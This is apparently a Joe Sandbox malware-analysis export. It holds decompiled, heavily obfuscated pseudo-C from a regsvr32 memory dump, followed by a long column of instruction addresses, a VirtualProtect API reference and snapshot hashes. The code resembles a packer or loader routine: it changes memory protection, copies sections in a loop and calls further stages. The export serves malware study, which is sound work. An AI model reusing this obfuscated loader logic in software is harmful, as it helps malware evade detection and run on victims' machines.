					_v20 = 0;
					 *_t1216 =  *_t1216 + _t928 + 0x444694;
					_t897 =  *((intOrPtr*)(_t928 + 0x445214))(_v20, _t1092, _v16);
					_v16 = _t1159;
					 *(_t928 + 0x44465d) =  *(_t928 + 0x44465d) & 0x00000000;
					 *(_t928 + 0x44465d) =  *(_t928 + 0x44465d) ^ (_t1159 & 0x00000000 | _t897);
					_t1159 = _v16;
					_pop( *_t389);
					_push( *((intOrPtr*)(_t928 + 0x443044)));
					_pop( *_t392);
					_push(_v16);
					_pop(_t1121);
					_v12 = _v12 & 0x00000000;
					 *_t1216 =  *_t1216 ^ _v20;
					_v20 = _v20 & 0x00000000;
					 *_t1216 =  *_t1216 + _t928 + 0x444865;
					 *_t1216 =  *_t1216 & 0x00000000;
					 *_t1216 =  *_t1216 ^ _t928 + 0x00444f68;
					_t900 =  *((intOrPtr*)(_t928 + 0x445214))(_v20, _v12);
					 *_t1216 = _t1191;
					 *(_t928 + 0x443ed9) = 0 ^ _t900;
					_t1197 = 0;
					 *_t404 = _t994;
					 *((intOrPtr*)(_t928 + 0x44391d)) = 0x40;
					 *_t1216 =  *_t1216 - _t994;
					 *_t1216 =  *_t1216 | _v16;
					_v12 = _v12 & 0x00000000;
					 *_t1216 =  *_t1216 + _t928 + 0x443a46;
					 *_t1216 = _t928 + 0x444b15;
					_t903 =  *((intOrPtr*)(_t928 + 0x445214))(_v20, _v12, _t994);
					 *(_t928 + 0x4430b1) =  *(_t928 + 0x4430b1) & 0x00000000;
					 *(_t928 + 0x4430b1) =  *(_t928 + 0x4430b1) | _t1121 ^  *_t1216 ^ _t903;
					_t1124 = _t1121;
					_t1059 = 0 ^  *_t1216;
					_t1228 =  &(_t1216[1]);
					_v20 = 0;
					 *_t1228 =  *_t1228 + _t928 + 0x44391d;
					_v12 = 0;
					 *_t1228 =  *_t1228 ^ _t1059;
					 *_t1228 =  *_t1228 - _t1159;
					 *_t1228 =  *_t1228 | _t928 + 0x00443d33;
					_v16 = _v16 & 0x00000000;
					 *_t1228 =  *_t1228 | _t928 + 0x00443bb3;
					_t907 =  *((intOrPtr*)(_t928 + 0x445214))(_v16, _t1159, _v12, _v20);
					 *_t1228 = _t1197;
					 *(_t928 + 0x44326e) = 0 ^ _t907;
					_t1191 = 0;
					_t1061 = _t1059 & 0x00000000 ^  *_t1228;
					_t1229 =  &(_t1228[1]);
					_pop( *_t430);
					_v20 = _v20 & 0x00000000;
					 *_t1229 =  *_t1229 + _v12;
					 *_t1229 = _t1061;
					 *_t1229 =  *_t1229 & 0x00000000;
					 *_t1229 =  *_t1229 + _t928 + 0x44328b;
					 *_t1229 =  *_t1229 & 0x00000000;
					 *_t1229 =  *_t1229 + _t928 + 0x4445c8;
					_t911 =  *((intOrPtr*)(_t928 + 0x445214))(_t1124, _v16, _v20);
					 *(_t928 + 0x444c02) =  *(_t928 + 0x444c02) & 0x00000000;
					 *(_t928 + 0x444c02) =  *(_t928 + 0x444c02) | _t1124 & 0x00000000 | _t911;
					_t1092 = _t1124;
					 *_t443 = _t1061;
					_t1063 = _t1061 & 0x00000000 | _v16;
					_v12 = _v12 & 0x00000000;
					 *_t1229 =  *_t1229 ^ _t1063;
					_v12 = 0;
					 *_t1229 =  *_t1229 | _t928 + 0x00444aaf;
					 *_t1229 =  *_t1229 ^ _t1092;
					 *_t1229 = _t928 + 0x443177;
					_t914 =  *((intOrPtr*)(_t928 + 0x445214))(_t1092, _v12, _v12, 2);
					_v12 = _t1063;
					 *(_t928 + 0x4443d2) =  *(_t928 + 0x4443d2) & 0x00000000;
					 *(_t928 + 0x4443d2) =  *(_t928 + 0x4443d2) | _t1063 & 0x00000000 | _t914;
					_t1040 = _v12 & 0x00000000 |  *_t1229;
					_t1216 = _t1229 - 0xfffffffc;
					 *_t1216 =  *_t1216 ^ _t1092;
					 *_t1216 =  *_t1216 ^ _t1040;
					_v16 = 0;
					 *_t1216 =  *_t1216 ^ _t928 + 0x00444556;
					_v12 = 0;
					 *_t1216 =  *_t1216 + _t928 + 0x443f09;
					_t917 =  *((intOrPtr*)(_t928 + 0x445214))(_v12, _v16, _t1092);
					 *_t1216 = _t994;
					 *(_t928 + 0x443b15) = 0 ^ _t917;
					_t999 = 0;
					_v16 = 0;
					 *_t1216 =  *_t1216 | _t1092;
					 *_t1216 = _t928 + 0x443fc2;
					 *_t1216 = _t928 + 0x444faf;
					_t920 =  *((intOrPtr*)(_t928 + 0x445214))(_v20, _v20, _v16);
					 *_t1216 = _t999;
					 *((intOrPtr*)(_t928 + 0x444043)) = _t920;
					_t1002 = 0; // executed
					VirtualProtect(??, ??, ??, ??);
					_v16 = 0;
					 *_t1216 =  *_t1216 ^ _t928 + 0x004447a7;
					_v12 = 0;
					 *_t1216 =  *_t1216 | _t928 + 0x00443be3;
					_t924 =  *((intOrPtr*)(_t928 + 0x445214))(_v12, _v16);
					 *(_t928 + 0x444d45) =  *(_t928 + 0x444d45) & 0x00000000;
					 *(_t928 + 0x444d45) =  *(_t928 + 0x444d45) ^ _t1002 -  *_t1216 ^ _t924;
					_t970 = _t1002;
				}
				_t1217 =  &(_t1216[1]);
				_v16 = _v16 & 0x00000000;
				 *_t1217 =  *_t1217 ^ _t928 + 0x004443b9;
				 *_t1217 =  *_t1217 - _t1191;
				 *_t1217 = _t928 + 0x443322;
				_push( *((intOrPtr*)(_t928 + 0x445214))(_t1191, _v16));
				_pop( *_t493);
				_push(_v20);
				_pop( *_t495);
				_t1095 = (_t1092 & 0x00000000 |  *_t1216) + 0xf8;
				_t931 = _t928;
				 *_t1217 = _t931 + 0x44359e;
				_v16 = _v16 & 0x00000000;
				 *_t1217 =  *_t1217 ^ _t931 + 0x00443c3e;
				_t829 =  *((intOrPtr*)(_t931 + 0x445214))(_v16, _v16);
				_v12 = _t1095;
				 *(_t931 + 0x4439f2) =  *(_t931 + 0x4439f2) & 0x00000000;
				 *(_t931 + 0x4439f2) =  *(_t931 + 0x4439f2) | _t1095 - _v12 ^ _t829;
				_t1098 = _v12;
				do {
					_v20 = 0;
					 *_t1217 =  *_t1217 ^ _t1098;
					 *_t1217 =  *_t1217 ^ _t1191;
					 *_t1217 =  *_t1217 | _t931 + 0x00445054;
					_v20 = 0;
					 *_t1217 =  *_t1217 + _t931 + 0x4430db;
					_t832 =  *((intOrPtr*)(_t931 + 0x445214))(_v20, _t1191, _v20);
					 *(_t931 + 0x443a32) =  *(_t931 + 0x443a32) & 0x00000000;
					 *(_t931 + 0x443a32) =  *(_t931 + 0x443a32) ^ _t1159 & 0x00000000 ^ _t832;
					_t1162 = _t1159;
					_v12 = _t1040;
					_t1164 = _t1162 & 0x00000000 ^ (_t1040 ^ _v12 | _a4);
					_t1043 = _v12;
					 *_t1217 =  *_t1217 - _t1098;
					 *_t1217 = _t931 + 0x444ecc;
					_v20 = 0;
					 *_t1217 =  *_t1217 | _t931 + 0x0044394b;
					_t835 =  *((intOrPtr*)(_t931 + 0x445214))(_v20, _t1098);
					 *(_t931 + 0x444e81) =  *(_t931 + 0x444e81) & 0x00000000;
					 *(_t931 + 0x444e81) =  *(_t931 + 0x444e81) | _t1164 -  *_t1217 ^ _t835;
					_t1167 = _t1164;
					_v20 = _t931;
					_t934 = _v20;
					_v20 = 0;
					 *_t1217 =  *_t1217 ^ _t970 & 0x00000000 ^ _t931 - _v20 ^  *(_t1098 + 0x10);
					_t540 = _t934 + 0x443ebb; // 0x443ebb
					 *_t1217 =  *_t1217 & 0x00000000;
					 *_t1217 =  *_t1217 + _t540;
					_t541 = _t934 + 0x4447b0; // 0x4447b0
					_v12 = 0;
					 *_t1217 =  *_t1217 | _t541;
					_t838 =  *((intOrPtr*)(_t934 + 0x445214))(_v12, _t1043, _v20);
					 *_t1217 = _t1191;
					 *((intOrPtr*)(_t934 + 0x444c40)) = _t838;
					_t1191 = 0;
					_t974 =  *_t1217;
					_t1218 = _t1217 - 0xfffffffc;
					_t1168 = _t1167 +  *((intOrPtr*)(_t1098 + 0x14));
					 *_t1218 = _t974;
					_t548 = _t934 + 0x444c37; // 0x444c37
					 *_t1218 = _t548;
					_t550 = _t934 + 0x444315; // 0x444315
					 *_t1218 =  *_t1218 - _t974;
					 *_t1218 =  *_t1218 + _t550;
					_t841 =  *((intOrPtr*)(_t934 + 0x445214))(_t974, _v12, _v12);
					 *_t1218 = _t1043;
					 *(_t934 + 0x4435a9) = 0 ^ _t841;
					_t1046 = 0;
					_t1219 = _t1218 - 0xfffffffc;
					_t1099 =  *(_t1098 + 0xc);
					 *_t1219 =  *_t1219 & 0x00000000;
					 *_t1219 =  *_t1219 +  *_t1218;
					_t554 = _t934 + 0x444068; // 0x444068
					 *_t1219 =  *_t1219 & 0x00000000;
					 *_t1219 =  *_t1219 ^ _t554;
					_t555 = _t934 + 0x4434bf; // 0x4434bf
					 *_t1219 =  *_t1219 ^ _t1099;
					 *_t1219 =  *_t1219 | _t555;
					_t844 =  *((intOrPtr*)(_t934 + 0x445214))(_t1099, _t934);
					_v16 = _t1099;
					 *(_t934 + 0x444593) =  *(_t934 + 0x444593) & 0x00000000;
					 *(_t934 + 0x444593) =  *(_t934 + 0x444593) | _t1099 ^ _v16 | _t844;
					 *_t564 = _t1099;
					_t977 = _v16;
					 *_t1219 = _t977;
					_t568 = _t934 + 0x443d6d; // 0x443d6d
					 *_t1219 =  *_t1219 - _t977;
					 *_t1219 =  *_t1219 ^ _t568;
					_t569 = _t934 + 0x4431aa; // 0x4431aa
					 *_t1219 =  *_t1219 ^ _t934;
					 *_t1219 =  *_t1219 | _t569;
					_push( *((intOrPtr*)(_t934 + 0x445214))(_t934, _t977, _v16));
					_pop( *_t571);
					_push(_v12);
					_pop( *_t573);
					_t979 = (_t977 & 0x00000000) +  *_t1219;
					memcpy(_v16 +  *((intOrPtr*)(_t934 + 0x443044)), _t1168, _t979);
					_t1217 =  &(_t1219[4]);
					_t1105 = _t1168 + _t979 + _t979;
					_t574 = _t934 + 0x4446ff; // 0x4446ff
					 *_t1217 =  *_t1217 & 0x00000000;
					 *_t1217 =  *_t1217 | _t574;
					_t575 = _t934 + 0x443bee; // 0x443bee
					 *_t1217 =  *_t1217 ^ _t1105;
					 *_t1217 =  *_t1217 | _t575;
					_t851 =  *((intOrPtr*)(_t934 + 0x445214))(_t1191);
					_v16 = _t1046;
					 *(_t934 + 0x444028) =  *(_t934 + 0x444028) & 0x00000000;
					 *(_t934 + 0x444028) =  *(_t934 + 0x444028) ^ (_t1046 & 0x00000000 | _t851);
					_t1040 = _v16;
					 *_t583 = _t1105;
					_t585 = _t934 + 0x44343f; // 0x44343f
					_v20 = 0;
					 *_t1217 =  *_t1217 + _t585;
					_t588 = _t934 + 0x443f9f; // 0x443f9f
					 *_t1217 =  *_t1217 - _t934;
					 *_t1217 =  *_t1217 ^ _t588;
					_t854 =  *((intOrPtr*)(_t934 + 0x445214))(_t934, _v20);
					 *(_t934 + 0x444a60) =  *(_t934 + 0x444a60) & 0x00000000;
					 *(_t934 + 0x444a60) =  *(_t934 + 0x444a60) ^ (_t1168 & 0x00000000 | _t854);
					_t1159 = _t1168;
					_t1098 = _v16 + 0x28;
					_t931 = _t934;
					_t594 = _t931 + 0x443285; // 0x443285
					 *_t1217 =  *_t1217 & 0x00000000;
					 *_t1217 =  *_t1217 | _t594;
					_t595 = _t931 + 0x444abe; // 0x444abe
					_v12 = _v12 & 0x00000000;
					 *_t1217 =  *_t1217 ^ _t595;
					_t857 =  *((intOrPtr*)(_t931 + 0x445214))(_v12, _t1159);
					_v16 = 0;
					 *(_t931 + 0x443ad2) = 0 ^ _t857;
					_t970 = _v16;
					_t603 =  &_v8;
					 *_t603 = _v8 - 1;
				} while ( *_t603 != 0);
				_t605 = _t931 + 0x443c5f; // 0x443c5f
				 *_t1217 = _t605;
				_t607 = _t931 + 0x44430a; // 0x44430a
				 *_t1217 = _t607;
				_t860 =  *((intOrPtr*)(_t931 + 0x445214))(_v16, _v16);
				 *_t1217 = _t1098;
				 *(_t931 + 0x443279) = 0 ^ _t860;
				_t1112 =  *_t1217;
				_t1221 =  &(_t1217[1]);
				_t611 = _t931 + 0x44418c; // 0x44418c
				 *_t1221 =  *_t1221 - _t1040;
				 *_t1221 =  *_t1221 + _t611;
				_t612 = _t931 + 0x444c4c; // 0x444c4c
				_v16 = _v16 & 0x00000000;
				 *_t1221 =  *_t1221 | _t612;
				_t863 =  *((intOrPtr*)(_t931 + 0x445214))(_v16, _t1040, 0);
				_v16 = _t1159;
				 *(_t931 + 0x444087) =  *(_t931 + 0x444087) & 0x00000000;
				 *(_t931 + 0x444087) =  *(_t931 + 0x444087) | _t1159 - _v16 ^ _t863;
				_t1173 = _v16;
				_push( *((intOrPtr*)(_t1112 + 0x28)));
				_pop( *_t625);
				_push(_v20);
				_pop(_t864);
				_v20 = 0;
				 *_t1221 =  *_t1221 ^ _t864;
				_t629 = _t931 + 0x444f8e; // 0x444f8e
				_v12 = _v12 & 0x00000000;
				 *_t1221 =  *_t1221 ^ _t629;
				_t633 = _t931 + 0x443be7; // 0x443be7
				 *_t1221 =  *_t1221 - _t1173;
				 *_t1221 = _t633;
				_t867 =  *((intOrPtr*)(_t931 + 0x445214))(_t1173, _v12, _v20);
				 *(_t931 + 0x443304) =  *(_t931 + 0x443304) & 0x00000000;
				 *(_t931 + 0x443304) =  *(_t931 + 0x443304) | _t970 -  *_t1221 | _t867;
				_t985 = _t970;
				_t1222 = _t1221 - 0xfffffffc;
				 *_t1222 =  *_t1222 ^ _t931;
				 *_t1222 =  *_t1222 ^ (_t867 & 0x00000000) +  *_t1221 +  *(_t931 + 0x443044);
				_t640 = _t931 + 0x44454b; // 0x44454b
				_v12 = 0;
				 *_t1222 =  *_t1222 ^ _t640;
				_t643 = _t931 + 0x4444a9; // 0x4444a9
				 *_t1222 = _t643;
				_t873 =  *((intOrPtr*)(_t931 + 0x445214))(_v12, _v12, _t931);
				_v20 = _t1173;
				 *(_t931 + 0x444c56) =  *(_t931 + 0x444c56) & 0x00000000;
				 *(_t931 + 0x444c56) =  *(_t931 + 0x444c56) | _t1173 & 0x00000000 | _t873;
				_t1223 =  &(_t1222[1]);
				 *_t1223 = _t1112;
				 *(_t931 + 0x443dbd) =  *_t1222;
				_t1115 = 0;
				_t653 = _t931 + 0x4446f3; // 0x4446f3
				 *_t1223 =  *_t1223 & 0x00000000;
				 *_t1223 =  *_t1223 | _t653;
				_t654 = _t931 + 0x44413d; // 0x44413d
				_v12 = 0;
				 *_t1223 =  *_t1223 + _t654;
				_t878 =  *((intOrPtr*)(_t931 + 0x445214))(_v12, _t985);
				_v20 = _t985;
				 *(_t931 + 0x444184) =  *(_t931 + 0x444184) & 0x00000000;
				 *(_t931 + 0x444184) =  *(_t931 + 0x444184) | _t985 & 0x00000000 ^ _t878;
				_t988 = _v20;
				_v20 = _t1040;
				_t1178 = _v20 & 0x00000000 | _t1040 & 0x00000000 ^  *(_t931 + 0x443044);
				_t1051 = _v20;
				_t667 = _t931 + 0x4432bd; // 0x4432bd
				_v20 = _v20 & 0x00000000;
				 *_t1223 =  *_t1223 + _t667;
				_t671 = _t931 + 0x443556; // 0x443556
				 *_t1223 = _t671;
				_t881 =  *((intOrPtr*)(_t931 + 0x445214))(_v16, _v20);
				_v12 = _t1115;
				 *((intOrPtr*)(_t931 + 0x444b47)) = _t881;
				_t1118 = _v12;
				if(_t1178 > 0) {
					_t677 = _t931 + 0x44323e; // 0x44323e
					_v20 = _v20 & 0x00000000;
					 *_t1223 =  *_t1223 ^ _t677;
					_t681 = _t931 + 0x444f20; // 0x444f20
					 *_t1223 =  *_t1223 & 0x00000000;
					 *_t1223 =  *_t1223 | _t681;
					_t884 =  *((intOrPtr*)(_t931 + 0x445214))(_t931, _v20);
					 *(_t931 + 0x444e18) =  *(_t931 + 0x444e18) & 0x00000000;
					 *(_t931 + 0x444e18) =  *(_t931 + 0x444e18) | _t988 -  *_t1223 ^ _t884;
					_t993 = _t988;
					_v12 = _v12 & 0x00000000;
					 *_t1223 =  *_t1223 | _t1178;
					_t690 = _t931 + 0x4441f0; // 0x4441f0
					_v12 = 0;
					 *_t1223 =  *_t1223 + _t690;
					_t693 = _t931 + 0x444351; // 0x444351
					_v16 = 0;
					 *_t1223 =  *_t1223 ^ _t693;
					_t887 =  *((intOrPtr*)(_t931 + 0x445214))(_v16, _v12, _v12);
					 *(_t931 + 0x444adf) =  *(_t931 + 0x444adf) & 0x00000000;
					 *(_t931 + 0x444adf) =  *(_t931 + 0x444adf) ^ _t1178 & 0x00000000 ^ _t887;
					_t1181 = _t1178; // executed
					_t888 = E010D2A87(_t931, _t993, _t1051, _t1118, _t1181); // executed
					_v16 = _v16 & 0x00000000;
					 *_t1223 =  *_t1223 ^ _t1181;
					_t881 = E010D11BE(_t888, _t931, _t993, _t1118, _t1181, _v16);
				}
				return _t881;
			}

0x010d4f80
0x010d4f81
0x010d4f85
0x010d4f88
0x010d4f8a
0x010d4f8d
0x010d4f90
0x010d4f93
0x010d4f94
0x010d4f98
0x010d4fa1
0x010d4fa4
0x010d4fad
0x010d4fb1
0x010d4fb4
0x010d4fb7
0x010d4fbd
0x010d4fc5
0x010d4fcc
0x010d4fde
0x010d4fe3
0x010d4fe6
0x010d4fe9
0x010d4fec
0x010d4fef
0x010d4ff6
0x010d4ff9
0x010d5002
0x010d5003
0x010d5007
0x010d5011
0x010d5015
0x010d5018
0x010d5020
0x010d5027
0x010d502d
0x010d5030
0x010d5033
0x010d5036
0x010d503d
0x010d5040
0x010d5049
0x010d504c
0x010d5055
0x010d505c
0x010d505f
0x010d5062
0x010d5068
0x010d5070
0x010d5077
0x010d507d
0x010d5086
0x010d508a
0x010d508d
0x010d5096
0x010d5097
0x010d509b
0x010d50a5
0x010d50a9
0x010d50ac
0x010d50b2
0x010d50b9
0x010d50bf
0x010d50c8
0x010d50ce
0x010d50d2
0x010d50d5
0x010d50de
0x010d50e1
0x010d50ea
0x010d50ed
0x010d50f6
0x010d50f7
0x010d50fa
0x010d50fd
0x010d5109
0x010d510c
0x010d5115
0x010d5116
0x010d511a
0x010d5123
0x010d5127
0x010d512a
0x010d5133
0x010d5134
0x010d5137
0x010d513a
0x010d5145
0x010d5148
0x010d514c
0x010d514f
0x010d5158
0x010d515f
0x010d5162
0x010d516b
0x010d516e
0x010d5171
0x010d517d
0x010d5184
0x010d518a
0x010d518b
0x010d5191
0x010d5194
0x010d519d
0x010d51a0
0x010d51a9
0x010d51aa
0x010d51ad
0x010d51b0
0x010d51b6
0x010d51bd
0x010d51c3
0x010d51c6
0x010d51cc
0x010d51d2
0x010d51d9
0x010d51df
0x010d51e6
0x010d51e7
0x010d51eb
0x010d51f4
0x010d51fb
0x010d51fe
0x010d5201
0x010d5208
0x010d520b
0x010d520e
0x010d521d
0x010d5220
0x010d5221
0x010d5225
0x010d522e
0x010d5232
0x010d5235
0x010d523e
0x010d5245
0x010d5248
0x010d524b
0x010d5257
0x010d525e
0x010d5267
0x010d526a
0x010d526d
0x010d5273
0x010d5277
0x010d527a
0x010d527d
0x010d5281
0x010d5284
0x010d528d
0x010d528e
0x010d5291
0x010d529a
0x010d529e
0x010d52a1
0x010d52a4
0x010d52aa
0x010d52b1
0x010d52b7
0x010d52c0
0x010d52c3
0x010d52cb
0x010d52ce
0x010d52d2
0x010d52d5
0x010d52d8
0x010d52d9
0x010d52dc
0x010d52e5
0x010d52e6
0x010d52ea
0x010d52f3
0x010d52f7
0x010d52fa
0x010d52fd
0x010d5309
0x010d5310
0x010d5316
0x010d5317
0x010d531a
0x010d531d
0x010d5324
0x010d5327
0x010d5330
0x010d5337
0x010d533a
0x010d5343
0x010d5344
0x010d5347
0x010d534a
0x010d5356
0x010d535d
0x010d5363
0x010d536a
0x010d536b
0x010d536e
0x010d5377
0x010d5378
0x010d537b
0x010d5384
0x010d5385
0x010d5388
0x010d538b
0x010d5391
0x010d5399
0x010d53a0
0x010d53a6
0x010d53ae
0x010d53b1
0x010d53b2
0x010d53b6
0x010d53bf
0x010d53c0
0x010d53c4
0x010d53cd
0x010d53d1
0x010d53d4
0x010d53dd
0x010d53de
0x010d53e1
0x010d53e4
0x010d53f0
0x010d53f3
0x010d53fc
0x010d53fd
0x010d5401
0x010d540a
0x010d540d
0x010d5410
0x010d5418
0x010d541f
0x010d5425
0x010d5426
0x010d542c
0x010d5430
0x010d5433
0x010d543c
0x010d543f
0x010d5448
0x010d5449
0x010d544c
0x010d544f
0x010d5455
0x010d545c
0x010d5462
0x010d5465
0x010d546b
0x010d546c
0x010d546f
0x010d5478
0x010d547b
0x010d5484
0x010d5485
0x010d5488
0x010d548b
0x010d5497
0x010d549e
0x010d54a4
0x010d54aa
0x010d54ad
0x010d54ae
0x010d54b1
0x010d54b4
0x010d54c0
0x010d54c3
0x010d54c6
0x010d54c7
0x010d54cb
0x010d54d4
0x010d54d8
0x010d54db
0x010d54e4
0x010d54e5
0x010d54e9
0x010d54ec
0x010d54f8
0x010d54ff
0x010d5505
0x010d5508
0x010d5512
0x010d5513
0x010d5517
0x010d551a
0x010d5523
0x010d5524
0x010d5528
0x010d5531
0x010d5532
0x010d5536
0x010d5539
0x010d5541
0x010d5548
0x010d554e
0x010d5554
0x010d555a
0x010d555b
0x010d555e
0x010d5567
0x010d556a
0x010d5573
0x010d5574
0x010d5577
0x010d557a
0x010d5580
0x010d5587
0x010d558d
0x010d5592
0x010d5595
0x010d5598
0x010d5599
0x010d559d
0x010d55a0
0x010d55a1
0x010d55a4
0x010d55ad
0x010d55b4
0x010d55b7
0x010d55c0
0x010d55c3
0x010d55c6
0x010d55cc
0x010d55d4
0x010d55db
0x010d55e1
0x010d55e9
0x010d55ec
0x010d55f7
0x010d5602
0x010d5609
0x010d560c
0x010d5615
0x010d561c
0x010d561f
0x010d5622
0x010d562e
0x010d5635
0x010d563b
0x010d5640
0x010d5641
0x010d5644
0x010d564d
0x010d564e
0x010d5652
0x010d565c
0x010d5660
0x010d5663
0x010d566b
0x010d5672
0x010d5678
0x010d567f
0x010d5685
0x010d568b
0x010d568f
0x010d5692
0x010d569c
0x010d56a8
0x010d56ab
0x010d56b8
0x010d56c1
0x010d56cb
0x010d56d4
0x010d56db
0x010d56e7
0x010d56ea
0x010d56f6
0x010d56fd
0x010d5703
0x010d570e
0x010d5710
0x010d5712
0x010d5716
0x010d5720
0x010d5723
0x010d572d
0x010d5730
0x010d5733
0x010d573f
0x010d5746
0x010d574c
0x010d5756
0x010d575b
0x010d5768
0x010d576a
0x010d576d
0x010d5777
0x010d577a
0x010d5784
0x010d5787
0x010d5790
0x010d5791
0x010d5794
0x010d5797
0x010d57a2
0x010d57b1
0x010d57b5
0x010d57be
0x010d57c5
0x010d57cf
0x010d57d2
0x010d57d5
0x010d57db
0x010d57e2
0x010d57e8
0x010d57ed
0x010d57f0
0x010d57f3
0x010d5806
0x010d580c
0x010d5818
0x010d5821
0x010d5828
0x010d582b
0x010d5831
0x010d5838
0x010d583e
0x010d5847
0x010d584a
0x010d584f
0x010d5852
0x010d5857
0x010d585d
0x010d5867
0x010d586b
0x010d586e
0x010d5878
0x010d587b
0x010d5884
0x010d588b
0x010d5894
0x010d5895
0x010d5898
0x010d589b
0x010d58a1
0x010d58a4
0x010d58a7
0x010d58aa
0x010d58ad
0x010d58ad
0x010d58b1
0x010d58b7
0x010d58c0
0x010d58c7
0x010d58d3
0x010d58d6
0x010d58e2
0x010d58e9
0x010d58ef
0x010d58f2
0x010d58f5
0x010d58fd
0x010d5900
0x010d5900
0x010d5903
0x010d590a
0x010d5914
0x010d5917
0x010d5920
0x010d592a
0x010d592d
0x010d5933
0x010d593b
0x010d5942
0x010d5948
0x010d594b
0x010d5951
0x010d5957
0x010d595a
0x010d595d
0x010d595e
0x010d5965
0x010d596e
0x010d5975
0x010d597f
0x010d5983
0x010d5986
0x010d598e
0x010d5995
0x010d599b
0x010d599c
0x010d59a2
0x010d59ad
0x010d59b0
0x010d59b9
0x010d59c0
0x010d59cc
0x010d59cf
0x010d59db
0x010d59e2
0x010d59e8
0x010d59eb
0x010d59ee
0x010d59f7
0x010d5a01
0x010d5a04
0x010d5a0e
0x010d5a18
0x010d5a1b
0x010d5a24
0x010d5a2b
0x010d5a2e
0x010d5a36
0x010d5a3d
0x010d5a43
0x010d5a4a
0x010d5a4d
0x010d5a50
0x010d5a56
0x010d5a5d
0x010d5a63
0x010d5a6d
0x010d5a71
0x010d5a7b
0x010d5a7f
0x010d5a82
0x010d5a8e
0x010d5a95
0x010d5a9b
0x010d5aa2
0x010d5aa5
0x010d5aaa
0x010d5ab1
0x010d5aba
0x010d5ac4
0x010d5ace
0x010d5ad1
0x010d5ad4
0x010d5ada
0x010d5ae2
0x010d5ae9
0x010d5af8
0x010d5afb
0x010d5aff
0x010d5b02
0x010d5b0b
0x010d5b15
0x010d5b1e
0x010d5b28
0x010d5b2b
0x010d5b33
0x010d5b3a
0x010d5b40
0x010d5b41
0x010d5b4b
0x010d5b57
0x010d5b63
0x010d5b66
0x010d5b6e
0x010d5b75
0x010d5b7b
0x010d5b7c
0x010d5b88
0x010d5b92
0x010d5b9b
0x010d5ba5
0x010d5ba8
0x010d5bb4
0x010d5bbb
0x010d5bc1
0x010d5bc1
0x010d5bcb
0x010d5bd4
0x010d5bdb
0x010d5be5
0x010d5be8
0x010d5bf1
0x010d5bf2
0x010d5bf5
0x010d5bf8
0x010d5c07
0x010d5c09
0x010d5c13
0x010d5c1c
0x010d5c23
0x010d5c26
0x010d5c2c
0x010d5c34
0x010d5c3b
0x010d5c41
0x010d5c44
0x010d5c44
0x010d5c4e
0x010d5c58
0x010d5c5b
0x010d5c64
0x010d5c6e
0x010d5c71
0x010d5c7d
0x010d5c84
0x010d5c8a
0x010d5c8b
0x010d5c97
0x010d5c99
0x010d5ca3
0x010d5ca6
0x010d5caf
0x010d5cb9
0x010d5cbc
0x010d5cc8
0x010d5ccf
0x010d5cd5
0x010d5cd6
0x010d5ce4
0x010d5ce7
0x010d5cf1
0x010d5cf4
0x010d5cfb
0x010d5cff
0x010d5d02
0x010d5d08
0x010d5d12
0x010d5d15
0x010d5d1d
0x010d5d24
0x010d5d2a
0x010d5d2d
0x010d5d30
0x010d5d33
0x010d5d39
0x010d5d3c
0x010d5d45
0x010d5d48
0x010d5d4f
0x010d5d52
0x010d5d55
0x010d5d5d
0x010d5d64
0x010d5d6a
0x010d5d70
0x010d5d73
0x010d5d77
0x010d5d7b
0x010d5d7e
0x010d5d85
0x010d5d89
0x010d5d8c
0x010d5d93
0x010d5d96
0x010d5d99
0x010d5d9f
0x010d5da7
0x010d5dae
0x010d5db7
0x010d5dba
0x010d5dc6
0x010d5dc9
0x010d5dd0
0x010d5dd3
0x010d5dd6
0x010d5ddd
0x010d5de0
0x010d5de9
0x010d5dea
0x010d5ded
0x010d5df0
0x010d5dfc
0x010d5e02
0x010d5e02
0x010d5e02
0x010d5e04
0x010d5e0b
0x010d5e0f
0x010d5e12
0x010d5e19
0x010d5e1c
0x010d5e1f
0x010d5e25
0x010d5e2d
0x010d5e34
0x010d5e3a
0x010d5e3f
0x010d5e45
0x010d5e4b
0x010d5e55
0x010d5e58
0x010d5e5f
0x010d5e62
0x010d5e65
0x010d5e71
0x010d5e78
0x010d5e7e
0x010d5e88
0x010d5e8a
0x010d5e8b
0x010d5e92
0x010d5e96
0x010d5e99
0x010d5e9f
0x010d5ea6
0x010d5ea9
0x010d5eaf
0x010d5eb6
0x010d5ebc
0x010d5ebf
0x010d5ebf
0x010d5ebf
0x010d5ec8
0x010d5ed1
0x010d5ed4
0x010d5edd
0x010d5ee0
0x010d5ee8
0x010d5eef
0x010d5ef8
0x010d5efb
0x010d5efe
0x010d5f05
0x010d5f08
0x010d5f0b
0x010d5f11
0x010d5f18
0x010d5f1b
0x010d5f21
0x010d5f29
0x010d5f30
0x010d5f36
0x010d5f39
0x010d5f3c
0x010d5f3f
0x010d5f42
0x010d5f43
0x010d5f4d
0x010d5f50
0x010d5f56
0x010d5f5d
0x010d5f60
0x010d5f67
0x010d5f6a
0x010d5f6d
0x010d5f79
0x010d5f80
0x010d5f86
0x010d5f90
0x010d5f9a
0x010d5f9d
0x010d5fa0
0x010d5fa6
0x010d5fb0
0x010d5fb3
0x010d5fbc
0x010d5fbf
0x010d5fc5
0x010d5fcd
0x010d5fd4
0x010d5fe6
0x010d5feb
0x010d5ff2
0x010d5ff8
0x010d5ff9
0x010d6000
0x010d6004
0x010d6007
0x010d600d
0x010d6017
0x010d601a
0x010d6020
0x010d6028
0x010d602f
0x010d6035
0x010d6038
0x010d6047
0x010d6049
0x010d604c
0x010d6052
0x010d6059
0x010d605c
0x010d6065
0x010d6068
0x010d606e
0x010d6075
0x010d607b
0x010d6081
0x010d6087
0x010d608d
0x010d6094
0x010d6097
0x010d609e
0x010d60a2
0x010d60a5
0x010d60b1
0x010d60b8
0x010d60be
0x010d60bf
0x010d60c6
0x010d60c9
0x010d60cf
0x010d60d9
0x010d60dc
0x010d60e2
0x010d60ec
0x010d60ef
0x010d60fb
0x010d6102
0x010d6108
0x010d6109
0x010d610e
0x010d6115
0x010d6118
0x010d6118
0x010d612e

APIs

VirtualProtect.KERNELBASE ref: 010D5B7C

Memory Dump Source

Source File: 00000003.00000002.700519164.00000000010D0000.00000040.00000001.sdmp, Offset: 010D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10d0000_regsvr32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 87c0048786ca181e5c8ff39e70e6426cb3969aadc1f8e644a84481ff241b22a6
Instruction ID: 1896fa120083670aeb21b284e092e472089271c3b438bdc527f9864ffea8509b
